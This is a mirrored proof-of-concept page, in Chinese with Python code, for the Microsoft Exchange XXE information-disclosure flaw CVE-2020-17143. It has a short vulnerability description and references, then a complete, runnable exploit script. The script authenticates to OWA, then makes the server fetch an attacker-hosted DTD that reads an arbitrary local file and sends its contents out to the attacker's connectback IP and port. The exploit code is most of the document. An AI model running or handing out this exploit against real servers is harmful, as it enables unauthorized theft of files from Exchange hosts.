mirror of
https://github.com/Threekiii/Awesome-POC.git
synced 2025-11-07 20:06:03 +00:00
109 lines
4.0 KiB
Markdown
109 lines
4.0 KiB
Markdown
|
|
# Microsoft Exchange 信息泄露漏洞 CVE-2020-17143
|
|||
|
|
|
|||
|
|
## 漏洞描述
|
|||
|
|
|
|||
|
|
此漏洞使远程攻击者可以披露有关受影响的Exchange Server安装的信息。利用身份验证才能利用此漏洞。
|
|||
|
|
|
|||
|
|
特定缺陷存在于GetWacIframeUrlForOneDrive服务命令的处理中。造成此问题的原因是缺乏对用户提供的xml的正确验证。攻击者可以利用此漏洞在SYSTEM上下文中披露信息。
|
|||
|
|
|
|||
|
|
Microsoft已发布更新来纠正此漏洞。可以在以下位置找到更多详细信息:https : //portal.msrc.microsoft.com/security-guidance/advisory/CVE-2020-17143
|
|||
|
|
|
|||
|
|
参考链接:
|
|||
|
|
|
|||
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2020-17143
|
|||
|
|
- https://srcincite.io/advisories/src-2020-0030/
|
|||
|
|
|
|||
|
|
## 漏洞复现
|
|||
|
|
|
|||
|
|
exp:
|
|||
|
|
|
|||
|
|
```python
|
|||
|
|
#!/usr/bin/env python3
|
|||
|
|
import re
|
|||
|
|
import sys
|
|||
|
|
import urllib3
|
|||
|
|
import requests
|
|||
|
|
from threading import Thread
|
|||
|
|
from http.server import BaseHTTPRequestHandler, HTTPServer
|
|||
|
|
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
|
|||
|
|
|
|||
|
|
class xxe(BaseHTTPRequestHandler):
|
|||
|
|
def log_message(self, format, *args):
|
|||
|
|
return
|
|||
|
|
def _set_response(self, d):
|
|||
|
|
self.send_response(200)
|
|||
|
|
self.send_header('Content-type', 'application/xml')
|
|||
|
|
self.send_header('Content-Length', len(d))
|
|||
|
|
self.end_headers()
|
|||
|
|
def do_GET(self):
|
|||
|
|
if "leaked" in self.path:
|
|||
|
|
print("(+) stolen: %s" % self.path)
|
|||
|
|
message = "<![CDATA[ <![ INCLUDE[]]> ]]>"
|
|||
|
|
self._set_response(message)
|
|||
|
|
self.wfile.write(message.encode('utf-8'))
|
|||
|
|
self.wfile.write('\n'.encode('utf-8'))
|
|||
|
|
elif "poc.dtd" in self.path:
|
|||
|
|
print("(+) triggered xxe in exchange server!")
|
|||
|
|
message = """
|
|||
|
|
<!ENTITY %% payload "%%start;%%stuff;%%end;">
|
|||
|
|
<!ENTITY %% param1 '<!ENTITY % external SYSTEM "http://%s:%d/leaked?%%payload;">'>
|
|||
|
|
%%param1; %%external;""" % (host, int(port))
|
|||
|
|
self._set_response(message)
|
|||
|
|
self.wfile.write(message.encode('utf-8'))
|
|||
|
|
self.wfile.write('\n'.encode('utf-8'))
|
|||
|
|
elif "poc.xml" in self.path:
|
|||
|
|
d = """<?xml version="1.0" encoding="utf-8"?>
|
|||
|
|
<!DOCTYPE root [
|
|||
|
|
<!ENTITY %% start "<![CDATA[">
|
|||
|
|
<!ENTITY %% stuff SYSTEM "file:///%s">
|
|||
|
|
<!ENTITY %% end "]]>">
|
|||
|
|
<!ENTITY %% dtd SYSTEM "http://%s:%d/poc.dtd">
|
|||
|
|
%%dtd;
|
|||
|
|
]>""" % (file, host, int(port))
|
|||
|
|
self._set_response(d)
|
|||
|
|
self.wfile.write(d.encode('utf-8'))
|
|||
|
|
self.wfile.write('\n'.encode('utf-8'))
|
|||
|
|
return
|
|||
|
|
|
|||
|
|
def main(t, usr, pwd, port):
|
|||
|
|
server = HTTPServer(('0.0.0.0', port), xxe)
|
|||
|
|
handlerthr = Thread(target=server.serve_forever, args=())
|
|||
|
|
handlerthr.daemon = True
|
|||
|
|
handlerthr.start()
|
|||
|
|
s = requests.Session()
|
|||
|
|
d = {
|
|||
|
|
"destination" : "https://%s/owa" % t,
|
|||
|
|
"flags" : "",
|
|||
|
|
"username" : usr,
|
|||
|
|
"password" : pwd
|
|||
|
|
}
|
|||
|
|
s.post("https://%s/owa/auth.owa" % t, data=d, verify=False)
|
|||
|
|
h = {
|
|||
|
|
"X-OWA-UrlPostData" : '{"request":{"DocumentUrl":"","EndPointUrl":"http://%s:%d/poc.xml"}}' % (host, port),
|
|||
|
|
"Action" : "GetWacIframeUrlForOneDrive"
|
|||
|
|
}
|
|||
|
|
r = s.post("https://%s/owa/service.svc" % t, headers=h, verify=False)
|
|||
|
|
assert s.cookies.get(name='X-OWA-CANARY') != None, "(-) couldn't leak the csrf canary!"
|
|||
|
|
h["X-OWA-CANARY"] = s.cookies.get(name='X-OWA-CANARY')
|
|||
|
|
s.post("https://%s/owa/service.svc" % t, headers=h, verify=False)
|
|||
|
|
|
|||
|
|
if __name__ == '__main__':
|
|||
|
|
if len(sys.argv) != 5:
|
|||
|
|
print("(+) usage: %s <target> <user:pass> <connectback ip:port> <file>" % sys.argv[0])
|
|||
|
|
print("(+) eg: %s 192.168.75.142 harryh@exchangedemo.com:user123# 192.168.75.1:9090 \"C:/Users/harryh/secrets.txt\"" % sys.argv[0])
|
|||
|
|
sys.exit(-1)
|
|||
|
|
trgt = sys.argv[1]
|
|||
|
|
assert ":" in sys.argv[2], "(-) you need a user and password!"
|
|||
|
|
usr = sys.argv[2].split(":")[0]
|
|||
|
|
pwd = sys.argv[2].split(":")[1]
|
|||
|
|
host = sys.argv[3]
|
|||
|
|
port = 9090
|
|||
|
|
file = sys.argv[4]
|
|||
|
|
if ":" in sys.argv[3]:
|
|||
|
|
host = sys.argv[3].split(":")[0]
|
|||
|
|
port = sys.argv[3].split(":")[1]
|
|||
|
|
assert port.isdigit(), "(-) not a port number!"
|
|||
|
|
main(trgt, usr, pwd, int(port))
|
|||
|
|
```
|
|||
|
|
|